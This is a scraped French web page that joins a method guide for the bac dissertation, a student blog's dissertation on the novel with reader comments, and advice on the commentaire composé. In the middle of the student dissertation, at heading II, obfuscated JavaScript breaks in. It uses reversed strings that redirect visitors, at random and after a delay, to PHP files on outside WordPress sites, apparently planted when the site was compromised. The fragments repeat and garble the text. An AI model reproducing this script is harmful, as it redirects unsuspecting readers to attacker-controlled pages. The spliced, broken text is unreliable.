La dissertation consiste à conduire une réflexion personnelle organisée sur une question littéraire portant sur l’une des œuvres et sur le parcours associé figurant dans le programme d’œuvres. Le candidat choisit l’un des trois sujets de dissertation, chacun étant en rapport avec l’une des œuvres du programme et son parcours associé. Pour développer son argumentation, le candidat s’appuie sur sa connaissance de l’œuvre et des textes étudiés dans le cadre de l’objet d’étude concerné, ainsi que sur ses lectures et sa culture personnelles. Cette production écrite est notée sur 20. Extrait de la note de service n° 2019-042 du 18 avril 2019

On lit ici clairement une attente forte en termes de culture et de restitution. Le candidat doit mobiliser le fruit de son travail de l’année, mais également des connaissances personnelles.

Des références à des lectures variées ainsi que d’autres types d’oeuvres d’art sont attendues.

Voici les 4 objectifs principaux tels qu’ils sont synthétisés sur éduscol :

• La compréhension du sens et des enjeux du sujet proposé ;
• Un développement pertinent et cohérent, organisé en plusieurs parties, proposant un traitement progressif et argumenté du sujet ;
• Une connaissance suffisamment précise de l’œuvre et de ses contextes pour permettre de justifier et d’exemplifier le propos ;
• Une expression correcte et juste, au service de la réflexion sur la question posée.

On voit que la méthodologie attendue est assez libre. Le développement doit cependant rester “organisé en plusieurs parties” et “cohérent”.

Ainsi, nous travaillerons sur une méthodologie rigoureuse permettant de répondre à chacun des attendus et de guider l’élève dans sa composition.

Pour en savoir plus sur les attendus de correction, vous pouvez consulter le document mis à disposition des professeurs pour le travail de la dissertation .

Méthode Dissertation Français : Le travail préparatoire

Mais assez préambulé ! Il est temps de voir concrètement comment réussir la dissertation du bac de français .

Identifier le type de sujet

Une fois le sujet distribué, vous allez vous retrouver face à une feuille qui ressemblera à ça :

La première chose à faire est de trouver le sujet qui correspond à l’oeuvre que vous avez travaillée.

Pour chaque objet d’étude, il y a 3 oeuvres au choix du professeur. Vous choisirez donc le sujet qui correspond à l’oeuvre étudiée entre les sujets A, B et C.

Une fois le bon sujet trouvé, il s’agit de déterminer s’il porte sur une citation (c’est le cas des sujets A et C) ou sur une question seule.

On regardera également si la question du sujet est ouverte ou fermée. Si on peut répondre par oui / non, la question est fermée, si on ne peut pas, elle est ouverte.

Exemple de question fermée :

Cette première étape d’identification du type de sujet va permettre d’adapter votre plan aux attentes du correcteur.

En effet, dans le cadre d’une question fermée, on adoptera plutôt un plan dialectique alors que pour une question ouverte on choisira un plan thématique.

Voir la section “trouver un plan” ci-dessous pour plus de détails sur les types de plans.

De plus, si le sujet porte sur une citation, il sera nécessaire, si possible, de recontextualiser cette citation, sinon, à minima, de l’analyser en profondeur et de la reformuler.

Exemples de sujets

Pour découvrir davantage d’exemples de sujets, je vous invite à vous rendre sur ce site qui recense toutes les annales de l’épreuve

Analyser le sujet

Une fois le sujet bien lu et bien compris, il va falloir l’analyser. C’est à dire suivre trois étapes importantes :

Éclaircir les références

Le sujet cherche peut-être à activer des connaissances littéraires vues en cours. Il faut trouver lesquelles. Commencez par observer la citation s’il y en a une et demandez-vous si vous l’avez déjà lue.

Si oui, dans quel livre ? Quel passage du livre ? Que voulait dire l’auteur ? À quel contexte historique ou littéraire se référait-il ?

Si vous ne connaissez pas la citation (ce n’est pas grave !), demandez-vous pourquoi elle vous est proposée. Dans l’exemple ci-dessus sur Manon Lescaut, qui est Tiberge ? Quel est son rôle dans le roman ? Qu’a-t-il à voir avec l’idée d’immoralité au centre de la question ?

Définir les mots importants

Un sujet va toujours centrer le questionnement autour d’une idée. Il n’est pas possible de tout dire sur l’oeuvre, et ce n’est pas ce qui est demandé.

Il faut donc identifier les mots qui vous semblent les plus importants, et en noter une définition. Cette étape est importante pour éviter l’écueil du hors-sujet.

Identifier les cas de polysémie

Dans certains sujets, un mot peut avoir plusieurs sens. Identifier cette polysémie permet d’emblée de donner de la consistance à votre réflexion.

Aussi, il ne faut pas chercher à fuir la polysémie, mais au contraire à l’interroger : le mot a plusieurs sens ? Questionnez ce choix sémantique et le lien entre les différents sens et l’oeuvre au programme. Cela vous donnera peut-être des idées d’axes.

Prenons l’exemple du mot “immoralité” dans le sujet sur Manon Lescaut.

Quel est le sens actuel de ce mot ? a-t-il évolué depuis la parution du roman ? les personnages de l’oeuvre se sentent-ils immoraux ? si l’immoralité fait le plaisir de la lecture, l’oeuvre est-elle dessinée à un public de lecteurs sans morale ?

Vous voyez les pistes qui peuvent s’ouvrir à partir d’un seul mot …

Formuler une problématique

Comme dans tout travail argumenté, il est nécessaire de problématiser une dissertation. C’est à dire d’extraire le questionnement contenu dans le sujet.

Cependant, il ne s’agit pas d’une simple reformulation du sujet, mais d’une explicitation du questionnement.

Si le sujet est une citation, il faut reformuler la citation, puis l’exprimer sous la forme d’une question. Il faut envisager dans la problématique l’antithèse, qui n’est pas toujours exprimée dans le sujet.

Par exemple, pour le sujet « l’art doit il rejeter toute forme d’utilité ? » on pourrait imaginer une problématique comme : L’idée d’utilité est-elle obligatoirement en conflit avec l’art ? L’art perd-il son statut dès lors qu’il devient un moyen et non une fin en soi ? etc.

Toujours sur notre sujet sur Manon Lescaut , on pourrait imaginer la problématique suivante :

Dans Manon Lescaut , le personnage de Tiberge incarne la morale et cherche sans cesse à ramener Des Grieux dans le droit chemin en l’éloignant de Manon. C’est ainsi que Musset, dans son poème “Namouna”, en fait un personnage ennuyeux.

Aussi, on peut se demander si ce personnage droit est condamné à la platitude. En d’autres termes, la saveur du personnage de Manon et de la lecture du roman tient-elle à l’immoralité qui y est mise en scène ?

Trouver un plan

Une fois le sujet problématisé, il faut trouver le plan.

Ici, retour à l’analyse du sujet.

En effet, le type de plan choisit dépend du type de sujet proposé.

Il existe 2 types de plan principaux pour la dissertation littéraire.

Le plan dialectique 

Il sert à envisager les deux opinions d’un sujet, puis il les dépasse, ou synthétise, afin d’arriver à une réponse finale construite. 

Il faut essayer de rester fin, la deuxième partie ne doit pas entièrement infirmer la première, il ne s’agit pas de vous contredire, mais de faire avancer le raisonnement.

Enfin, le slogan « thèse, antithèse, synthèse » ne fonctionne pas réellement. Il ne s’agit pas de dire oui, non, un peu oui et un peu non en même temps , mais bien de construire un raisonnement, d’envisager les limites d’une thèse et de les dépasser. 

Il est utilisé pour un sujet qui vous demande d’envisager les deux opinions, ex : le sujet sur Manon Lescaut

• Oui, parce-que …………..
• En revanche il faut garder à l’esprit que ………….
• Finalement, on comprend que l’un n’exclut pas l’autre et que ……………

Le plan thématique

Il permet de décliner différents thèmes pour répondre à un sujet. 

Ce type de plan suppose tout de même une progressivité, on cherche à aller du thème le plus simple et évident au plus complexe.

Il est utilisé dans le cas d’un sujet qui demande d’étayer une thèse et non de la discuter, ex : Le sujet A sur Gargantua

• Parce que …………..

Une fois que l’on a trouvé de quel plan on va avoir besoin, il reste encore à le remplir.

Comment trouver des arguments pour une dissertation ?

Pour trouver des arguments pour une dissertation, on commence par créer un tableau avec les grands axes du plan, puis on cherche les exemples vus en cours et appartenant à notre culture personnelle qui peuvent s’intégrer aux différents axes. Ensuite, on affine et on discute ces exemples.

En d’autres termes, il faut faire feu de tout bois.

C’est à dire noter au brouillon tout ce qu’on se souvient avoir étudié qui peut avoir à voir de près ou de loin à l’oeuvre sur laquelle porte le sujet.

On note ensuite l’ensemble des éléments trouvés sur une feuille, puis on les redistribue aux différents axes du plan.

Normalement, vous travaillez pendant l’année sur un parcours thématique lié à l’oeuvre du programme choisie. Ainsi, tout ce que vous voyez en classe peut être mobilisé pour la dissertation au bac.

Vous verrez qu’une fois vos souvenirs bien creusés, il ne vous reste que peu de trous dans le plan.

C’est à ce moment que vous devez procéder en sens inverse : de quoi ai-je besoin pour remplir cette partie ? Qu’est-ce que je connais qui pourrait répondre à la question ?

Pour trouver des idées, il ne faut pas reculer face aux questions difficiles.

Faites dialoguer les textes, les films, les séries, les tableaux ou les autres oeuvres que vous connaissez. Par exemple, le personnage de Manon Lescaut est immoral, à l’instar du personnage de Georges Duroy dans Bel-Ami de Maupassant.

Leurs différences peuvent être étudiées pour apporter de la profondeur à votre raisonnement.

Un dernier point important : la dissertation vise à vous évaluer, montrez donc tout ce que vous savez, ne vous limitez pas et envisagez tous les aspects de la question qui vous est posée.

Méthode Dissertation Français : La rédaction

Une fois le travail préalable effectué au brouillon, vous avez fait le plus difficile.

Il vous reste à développer vos arguments à l’écrit et à rédiger l’ensemble du devoir en suivant une structure rigoureuse qui reflète votre raisonnement.

Quelle est la structure de la dissertation ?

La structure de la dissertation comprend une introduction en un paragraphe suivie d’au moins 6 paragraphes représentant chacun une sous-partie (3 axes avec 2 sous-parties ou 2 axes avec 3 sous-parties). À la fin vient la conclusion, elle aussi composée d’un seul paragraphe.

Ça vous dit quelque chose ?

C’est normal : c’est la même chose que pour le commentaire littéraire .

Voyons tout cela de plus près :

Chaque paragraphe commence par un alinéa 

• Introduction  :

1 paragraphe (retours à la ligne possibles, mais pas de sauts de ligne)

• Phrase d’accroche
• Citation du sujet
• Analyse des mots clés
• Problématique
• Annonce du plan

Le tout doit être le plus fluide possible, chaque point de l’introduction doit découler du précédent, pour ne pas paraître trop mécanique. 

• Développement  :

Vous rédigez le contenu de votre plan détaillé, attention, il ne faut pas écrire le titre des parties et sous-parties . Seule la construction du devoir et la clarté du découpage en paragraphes des sous-parties permet de reconstituer le plan. 

La fin d’une sous-partie sert de transition à la suivante, en une ou deux phrases pour amener la suite de manière fluide. 

• 1 paragraphe par sous-partie
• 1 ligne entre chaque sous-partie 
• 2 lignes entre chaque grande partie
• Conclusion  :
• Résumé du raisonnement
• Réponse à la problématique
• Éventuellement une ouverture

Pour vous aider à mémoriser, voici un schéma représentant la structure d’une dissertation :

Dernier point important concernant la rédaction d’une dissertation : comme pour le commentaire littéraire, on évite le “je” et on lui préfère la forme impersonnelle : “il” / “on” et éventuellement “nous”.

Méthode : L’introduction de la dissertation en français

L’introduction de votre devoir est la première chose que lira le correcteur.

Certains disent que c’est la partie la plus importante.

Quoi qu’il en soit, il importe d’y apporter un soin particulier, c’est-à-dire de respecter scrupuleusement ses différentes étapes et de soigner votre rédaction et votre style.

• La phrase d’accroche permet situer le sujet dans un contexte plus large (Histoire, chronologie, étymologie, actualité, etc.)
• La citation du sujet permet de faire le pont entre votre accroche générale et la problématique précise à laquelle vous allez répondre
• L’analyse des mots clés du sujet vous permet de lancer la réflexion et de montrer que vous êtes capable d’en proposer une lecture fine
• La problématique va guider tout le reste de votre devoir et montre que le sujet fait sens pour vous et que vous êtes capable de le reformuler
• L’annonce du plan permet à votre correcteur d’avoir une première idée du sens que va prendre votre réflexion

Attention, toutes les étapes de l’introduction doivent s’enchaîner de la manière la plus naturelle possible. Il n’est pas possible d’écrire dans un format prise de notes comme dans l’exemple ci-dessous :

Problématique : l’immoralité de Manon Lescaut fait-elle le plaisir du lecteur ? Plan : I. Oui parce que … II. Non parce que … À ne pas reproduire !

Pour aller plus loin, consultez mon article sur l’introduction de la dissertation en français .

Méthode : Le développement de la dissertation en français

Pour le développement, vous serez évalué sur votre capacité à présenter vos arguments de manière construite et logique.

Chaque idée doit être étayée par un exemple précis, cité, dans la mesure du possible, avec ses sources (auteur, oeuvre, date).

Dans le cadre d’un exemple faisant référence à un passage entier d’une oeuvre, pas besoin de citer mot pour mot le texte, simplement de présenter la situation.

En revanche, quelques citations précises sont attendues.

Quand vous rédigez, gardez bien en tête la structure suivante : Argument – Exemple – Justification

Vous la reproduirez plusieurs fois dans chaque partie, et pouvez par conséquent y apporter des modifications : Argument principal – Exemple 1 – Justification – Exemple 2 – Argument 2 – Justification comparant les 2 exemples .

Une fois encore, tout est question de nuance. Il n’y a qu’en vous exerçant que vous arriverez à développer vos compétences rédactionnelles et logiques !

Méthode : La conclusion de la dissertation en français

Comme dans la plupart des exercices argumentés, la conclusion se compose de 2 étapes nécessaires et d’une étape facultative.

• Le résumé du développement permet de rappeler à la mémoire du correcteur (et à la vôtre après plus de trois heures de travail) les différents arguments mobilisés.
• La réponse à la question permet de faire la synthèse de ces argument pour dégager une réponse claire à la problématique posée en introduction.
• L’ouverture consiste à élargir le raisonnement et le questionnement vers de nouveaux horizons. Vous pouvez vous en servir pour mentionner une autre oeuvre à laquelle le sujet vous fait penser, un sujet d’actualité ou une question proche qui vous semble pertinente.

Ne pas oublier la relecture !

La relecture est primordiale dans tout travail rédigé long.

Gardez au moins 20 minutes en fin d’épreuve pour relire attentivement votre copie.

Procédez en plusieurs relectures : visez d’abord les fautes d’accord, puis les fautes de conjugaison, et enfin les fautes d’orthographe, par exemple.

Vous pouvez aussi accorder une relecture à la syntaxe et à la qualité de l’expression. Vérifiez que vos phrases ne sont pas trop longues, qu’elles sont bien claires et qu’elles n’ont pas de double-sens fortuit.

Enfin, profitez-en pour vous assurer que vous avez bien souligné les titres d’oeuvres et mis les citations entre guillemets.

Quelle que soit la méthode choisie, l’important est de vous relire. Après 3h30 de rédaction, vous pouvez être sûr qu’il reste d’énormes erreurs dans votre travail, même si vous avez une orthographe irréprochable. Alors prenez votre courage à deux mains et traquez ces dernières fautes !

Fiche Méthode Dissertation Français en PDF

J’ai cherché à présenter dans cet article une méthode générale pour la dissertation en français .

Aussi, l’article peut-il sembler long et touffu aux élèves qui débutent dans l’exercice.

C’est pourquoi je vais m’attacher à résumer les étapes importantes ci-dessous, puis les proposer dans une fiche méthode PDF en bas de page.

Résumé de la Méthode de la Dissertation en Français

Voici la méthode de la dissertation pour le bac de français en 9 étapes simples :

• Lire le sujet et entourer les mots importants
• Déterminer si le sujet appelle un plan dialectique (question fermée) ou thématique (question ouverte)
• Reformuler le sujet sous la forme d’une question qui sera la problématique du devoir
• Trouver un plan et l’alimenter avec des idées et exemples issus de vos cours et de votre culture personnelle
• Rédiger l’introduction au brouillon de manière fluide et naturelle (accroche, sujet, définitions, problématique et plan)
• Rédiger au propre le développement (minimum 6 paragraphes au total)
• Rédiger la conclusion (résumé, réponse à la problématique, ouverture)
• Vérifier la structure du devoir (sauts de lignes, alinéas)
• Relire l’ensemble du devoir (orthographe et syntaxe)

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Mes cours de lycée

Pour partager et aider grâce à  mon expérience, dissertation sur le roman.

Un roman est un miroir que lon promène le long dune route, Stendhal. Dissertez.

Introduction

Pour apprécier un roman, est-il nécessaire que le lecteur se reconnaisse et partage les sentiments du personnage principal?

I Pour apprécier, le lecteur a besoin de s’identifier

Le roman est un récit fictif qui raconte les aventures d’un personnage imaginaire. Le lecteur apprécie plus facilement le roman lorsqu’il se sent plus proche du personnage principal.

A) Plus facilement compréhensible, le personnage possède des caractères humains

Le lecteur peut s’identifier au personnage ce qui permet de mieux comprendre le récit et se sentir concerné. Le lecteur peut s’identifier plus facilement au personnage principal lorsqu’il vit dans un cadre de vie réel et possède des caractères humains. Le lecteur rencontre en effet un personnage qui a les mêmes préoccupations du quotidien. Dans les romans réalistes du XIXe siècle par exemple, le romancier s’attache à  décrire le personnage dans ses moindres détails de l’apparence à  sa psychologie avec la volonté de transcrire le réel. Dans le roman du Père Goriot , Balzac raconte l’ascension d’Eugene Rastignac dans la société de l’ancien règime. Il décrit le personnage principal Eugène Rastignac de façon très précise avec un souci du détail vrai. Le lecteur peut alors s’identifier au personnage qui lui ressemble. De même, l’identification au personnage principal est plus simple lorsqu’il vit dans un cadre de vie réel. Emile Zola raconte, dans le roman L’Assommoir, la déchèance dune ouvrière, Gervaise Macquart, dans les faubourgs parisiens de l’ancien régime. Zola évoque avec minutie les diffèrents quartiers de Paris. Un lecteur parisien va se sentir proche du personnage principal et situer plus facilement le récit, ce qui va faciliter l’appréciation du roman.

B) Il possède les mêmes valeurs, les mêmes expériences et se pose les mêmes questions que le personnage. Il se sent compris et s’intéresse au destin du personnage.

C)il vit des aventures du personnage principal en résonnance. il peut vivre des aventures uniques..

Par ailleurs, le lecteur apprécie le roman en s’identifiant au personnage principal car il  va pouvoir vivre les « en résonance » les aventures. Le lecteur va en effet s’imaginer à  la place du personnage. De même,  par exemple en s’identifiant au personnage de Fhileas Fogg du roman d’aventure Le Tour du Monde en Quatre-Vingt Jours de Jules Vernes, le lecteur vit les aventures par procuration ce qui est très plaisant. Le lecteur espère naturellement la réussite des héros qu’il accompagne,  et le succès que le personnage rencontre est souvent proportionnel à  l’élan que le lecteur peut ressentir dans sa lecture. Le lecteur peut ainsi s’évader et oublier le quotidien. C’est d’ailleurs un des principes du roman policier o๠l’on attend que l’enquêteur résolve l’énigme.

TRANSITION:  Certes l’identification permet au lecteur d’apprécier le roman  mais certaines situations l’identification au personnage parait comme difficile voire impossible ainsi que partager des sentiments avec le personnage principal. Pour autant le lecteur peut apprécier le roman.

II L’identification n’est $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);} toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);} tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); 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A) le lecteur peut ne pas sidentifier au personnage., b) le personnage n’est qu’ tre de papier dont l’épaisseur psychologique est limitée, c) des personnages trop stéréotypés.

Que le lecteur s’identifie ou non au personnage principal, il ne s’attache pas uniquement au personnage principal pour apprécier le roman. Le roman n’est que composé du personnage principal ?

III Que le lecteur sidentifie ou non au personnage principal, il ne sattache pas uniquement au personnage principal pour apprécier le roman. On ne peut réduire un roman quau personnage principal. Dautres éléments sont à  lorigine de la réussite dun roman.

A) l’importance de l’intrigue, b) le rà´le de l’écriture, c) un roman est un moyen de faire réfléchir le lecteur, 9 reflexions sur “ dissertation sur le roman ”.

Merci beaucoup pour cette dissert, vous m’avez sauvé la vie pour mon devoir à rendre !! Elle est hyper bien rédigée cette dissertation, vous aviez quelle note ? Continuez ainsi!!

Merci pour ce commentaire très sympa!! J’avais eu 15/20 🙂 L’admin

Top cette dissert merci 🙂

Merci !!! Super rédaction, par rapport à moi en tout cas 😉

Bonjour , j’ai une dissertation à faire dans deux jour mais j’arrive pas pouvez m’aider svp Le sujet c’est pour apprécier un roman,un lecteur à t-il besoin de s´identifier au personnage principal et de partager ses sentiments ? Merci de votre compréhension et de me répondre au plus vite !

Salut elle est super cette dissertation. J’ai eu 16. Merci. Mon prof nous propose un autre sujet : La société est elle le seul obstacle à la réussite du personnage ambitieux ? Pour répondre à cet question vous vous appuierez essentiellement sur le roman le rouge et le noir de Stendhal ainsi que vos lectures perosnnelles . Peux tu m’aider ?

mec, tu viens sans doute de me sauver la vie MERCI très bien écrit, je me prosterne

Tant mieux ! Pas besoin de se prosterner 😂😂 Bon confinement

Si t’en a d’autres comme ça fait péter bg

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Nos manuels sont collaboratifs, n'hésitez pas à nous en faire part.

Oups, une coquille

j'ai une idée !

Nous préparons votre page Nous vous offrons 5 essais

Le commentaire composé d’extraits de roman : 5 exemples détaillés

• Ines Jacques
• 30 Avr 2024

À lire dans cet article :

Bac français 2024. Le commentaire de texte fait partie des exercices de l’épreuve écrite de français. Le jour de l’examen, il te sera proposé 3 sujets de dissertation et un sujet de commentaire de texte, il est donc nécessaire que tu sois au point sur cet exercice pour mettre toutes les chances de ton côté. Dans cet article, nous faisons le point avec toi sur la méthodologie du commentaire de texte et te proposons 5 exemples de commentaire de texte sur des extraits de romans. 

Tu trouveras ci-dessous les commentaires de texte de 5 extrait de roman, choisis comme exemples pour leur diversité et le panorama littéraire qu’ils dessinent. Les liaisons dangereuses de Laclos, L’Œuvre d’Emile Zola, Notre-Dame de Paris de Victor Hugo, L’étranger d’Albert Camus et L’écume des jours de Boris Vian appartiennent à des mouvements variés, traitent différentes problématiques et y répondent de manière singulière.

À retenir : cette année, l’épreuve écrite de français aura lieu le vendredi 14 juin , de 8 à 12 heures. Pour ce qui est de l’épreuve orale de français, tu ne devrais plus tarder à recevoir une convocation individuelle pour un passage à la fin du mois de juin. 

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La méthodologie du commentaire de texte

Avant de te présenter des exemples concrets de commentaires composés que nous avons choisis tout spécialement pour toi, un petit rappel s’impose. Revenons ensemble sur quelques points méthodologiques qui te permettront de décrocher la meilleure note possible aux épreuves anticipées du baccalauréat de français.

Repère la structure interne du texte

Pense à toujours réaliser plusieurs lectures . Une première lecture basique, puis une deuxième, plus analytique dans laquelle tu pourras noter dans la marge ou sur ton texte les éléments et informations que vous repères et qui ont leur importance. N’hésite pas à revenir précisément sur les passages du texte qui te semblent le nécessiter !

Repère la place de l’extrait dans l’œuvre . En effet, selon sa place dans l’ouvrage, l’extrait choisi aura différentes fonctions que tu devras analyser.

Tu dois aussi repérer et mettre en évidence la structure du texte , et ainsi la manière dont il évolue et avance. Attention : pour ne pas donner l’impression de découper artificiellement le texte, il faudra que tu montres les évolutions d’une partie à l’autre pour justifier ton découpage dans l’introduction. Par exemple : le passage d’un argument à un autre, d’un outil à un autre, etc.

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La problématique, un point central

Afin de trouver la problématique du texte qui t’est proposé, et donc de ton commentaire composé, il est important de saisir la spécificité du texte , ce qui le rend intéressant et exceptionnel (tu dois alors trouver la raison pour laquelle les jurés l’ont choisi). Pose-toi ces questions : le texte est-il particulièrement représentatif d’un genre ou d’un mouvement ? Se distingue-t-il au contraire des autres dans un genre ? Quels outils littéraires sont utilisés et dans quel but ?

L’important est de trouver un ou plusieurs axes (ne pas s’éparpiller non plus, un ou deux suffisent) qui concernent le texte dans sa totalité (elle ne doit donc pas être trop réduite ou ne concerner qu’une partie de l’extrait).

Développe ton analyse progressivement

Dans le développement du commentaire composé, tu dois veiller à toujours partir d’observations basiques pour aboutir à quelque chose de plus subtil, pointu et réfléchi . Le premier niveau d’analyse est important pour permettre à celui qui lira ton travail de saisir la nature du texte, ce qu’il contient, etc. et pour montrer que vous l’avez bien compris.

Construire son analyse de manière composée (on parle bien effet d’un commentaire composé) , signifie retenir les grandes idées du texte et constuire son plan à partir de deux ou trois grands axes.

Attention : ne donne pas l’impression d’un catalogue ! Pour cela, tu peux avoir recours à des mots de liaison (par exemple : tout d’abord, ensuite, enfin, toutefois, cependant, en revanche, de plus, de même, etc.) et alterner entre des observations concernant une phrase en particulier et un paragraphe/texte.

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Nos conseils pour un bon commentaire de texte

Parce que quelques conseils ne sont jamais de refus, nous t’avons concocté une vidéo qui te permettra de comprendre au mieux les enjeux et les difficultés du commentaire de texte. 

Comment réviser un commentaire de texte ? 

Premier point et c’est sans aucun doute le point le plus difficile, comment réviser un commentaire de texte sur un texte qu’on ne connaît pas encore ? On peut bien entendu se dire que si le roman est déjà tombé l’année passée, alors cette année, les chances sont plutôt du côté du théâtre, de la littérature d’idée ou de la poésie… mais finalement, ça ne nous aide pas tant que ça. Il y aura bel et bien des révisions à faire. 

Dans un premier temps, nous te conseillons de coupler tes révisions pour l’écrit de français avec celles de l’oral . Eh oui, d’une pierre, deux coups. Tu peux alors réviser en faisant des plans de commentaire composé sur les textes de ton corpus de l’épreuve orale de français. Tu gagnes du temps et de l’énergie. 

Autre conseil, tu peux réviser tes textes pour l’oral en classant toutes les remarques que tu fais sur le texte dans un plan . Encore une fois, d’une pierre, deux coups. Tu révises alors l’oral en apprenant à élaborer un plan. 

Entraîne-toi à faire des problématiques . Une problématique c’est une question que tu aurais envie de te poser sur un texte. Ni plus ni moins. Alors, pour tes révisions, nous te conseillons de revoir les problématiques vues en classe. Ça te permettra de mieux comprendre comment elles sont construites, mais également de garder à l’esprit des constructions de problématiques pertinentes. Le jour de l’examen, tu pourras alors utiliser une problématique que tu as déjà vue en l’adaptant au texte que tu auras sous les yeux. Lorsque tu réfléchis à ta problématique, tu dois te demander comment fonctionne le texte (pourquoi ce texte me fait peur ? me fait rire ? suscite en moi de la pitié ? de la compassion ?). Si le jour de l’examen, le texte t’en rappelle un autre que tu aurais traité en classe, alors essaie de te souvenir de la problématique qui lui avait été associée. En l’adaptant aux spécificités de celui-ci, bien entendu. 

Révise bien les genres littéraires . Si par exemple tu tombes sur un texte de théâtre, alors il faudra que tu parles de spectateur, de mise en scène, de décors ou encore d’accessoires. Chaque genre littéraire est accompagné de toute une panoplie d’éléments marquants qu’il est impératif que tu connaisses. 

Comment réfléchir à un commentaire de texte ? 

Au moment d’élaborer le plan de ton commentaire de texte, inutile de te demander si l’auteur a véritablement pensé telle ou telle chose, parce que finalement ce n’est pas l’objet de ton commentaire. Ton commentaire analyse les effets produits et non pas l’intention (qu’on ne connaît pas) de l’auteur. Ton travail est de dire comment le texte fonctionne et quel effet il produit sur le lecteur . 

Attention, le commentaire de texte n’est pas un commentaire linéaire . Nous en parlerons un peu plus tard dans cet article, mais le commentaire linéaire est un type de commentaire distinct. Le commentaire de texte demandé lors de l’écrit recoupe les informations entre elles pour créer des parties et ne suit pas de façon linéaire le texte (ce qui par contre te sera demandé lors de l’épreuve orale de français). 

Dans ton plan, n’hésite pas à dire des évidences . Tu peux par exemple partir sur un I qui plante le décor, qui décrit les évidences (le sens littéral du texte), puis un II qui suppose quelque chose sur les effets produits par ce texte (un sens un peu plus implicite) et enfin un III qui va au-delà de nos explications précédentes, quelque chose qui dépasse ce que l’on a déjà dit. 

Sache qu’un plan en deux parties, s’il est bien réalisé, peut largement suffire pour obtenir une très bonne note en commentaire de texte. 

Comment rédiger un commentaire de texte ? 

Nos conseils de rédaction pour un commentaire de texte (également valable pour une dissertation) ? 

Relis-toi toutes les 10 minutes environ . La relecture est une étape importante de la rédaction. Eh oui, une copie truffée de fautes d’orthographe et de syntaxe ferait un très mauvais effet à ton correcteur. Mais pour ça, nous te déconseillons de passer 20 minutes à relire ta copie une fois terminée. C’est déjà trop tard. Au lieu de ça, nous te recommandons de relire ta copie toutes les 10 minutes environ ou bien à la fin de chacun de tes paragraphes. Tu seras beaucoup plus efficace. 

Que faire de ton brouillon lorsque tu écris ? Bonne question. Ne perds pas trop de temps à rédiger l’intégralité de ton commentaire au brouillon  (c’est impossible en 4 heures), mais utilise-le pour écrire ton plan et les mots-clés qui y sont liés. N’oublie pas ensuite de numéroter tes pages de brouillon , pour ne pas être perdu(e) au moment de commencer ta rédaction au propre. 

Attention également à ta présentation . C’est la première chose que va apercevoir le correcteur de ta copie, alors il ne faudrait pas l’agacer avant même qu’il ait commencé à lire ton travail. Veille donc à bien faire des alinéas, à sauter des lignes entre chaque grande partie. Les gros blocs uniques ne raviront pas ton correcteur. Ne t’embarque pas dans des phrases trop complexes, sois clair et concis dans ton écriture. 

5 erreurs à ne pas faire dans ton commentaire composé 

La team Au Futur est convaincue qu’au plus, tu as de billes pour te guider dans l’exercice du commentaire composé, au plus tu vas être brillant(e) : logique ! C’est pourquoi nous te présentons 5 erreurs que tu ne dois pas faire dans ton commentaire composé pour te garantir une bonne note : 

• Paraphraser : Reprendre des phrases du texte bout à bout et les relier par des mots de liaison n’est vraiment pas la bonne solution ! D’abord, ton professeur va s’en rendre compte (il a déjà lu et maîtrise le texte), mais en plus, ce n’est pas l’objectif de ton travail ! Tu es là pour « commenter » le texte en « composant » entre tes connaissances (le genre littéraire, l’œuvre, l’époque, etc.) et le texte. Il doit en ressortir une réflexion originale et non une sorte de copie du texte, sans fond. 
• Ne pas faire de brouillon : T u es peut-être du genre à rédiger d’un coup sur ta copie pour ne pas perdre trop de temps et aller plus vite. Mais, ce n’est pas vraiment conseillé… Déjà, tu risques de faire beaucoup plus de ratures et de fautes en écrivant one shot , mais mise à part cet aspect « esthétique », tu risques surtout de ne pas avoir de « vue d’ensemble » dans ton travail et de perdre en pertinence. On se doute que tu ne peux pas tout rédiger sur ton brouillon, mais notes-y au moins ton plan (parties et sous-parties) et les grandes lignes de chaque partie.
• Faire un commentaire linéaire : G énéralement, si ton plan suit le cours de la lecture du texte, ce n’est pas bon signe… Effectivement, en croisant les citations, tu montres que tu as bien compris ta lecture et que tu as su tirer à profit les passages les plus pertinents du texte pour illustrer ton propos. Tu montres alors que tu as bien assimilé la lecture, pour en dégager ce dont tu as besoin. Le professeur appréciera. 
• Négliger la présentation : Tu n’es pas sans savoir que ton correcteur va avoir plusieurs dizaines de copies à corriger ! Alors, crois-moi, une belle copie, aérée, avec une calligraphie soignée et une orthographe maîtrisée, sera très appréciée. Voir plus, cela peut jouer en ta faveur et ton professeur pourra même voir ta note à la hausse.
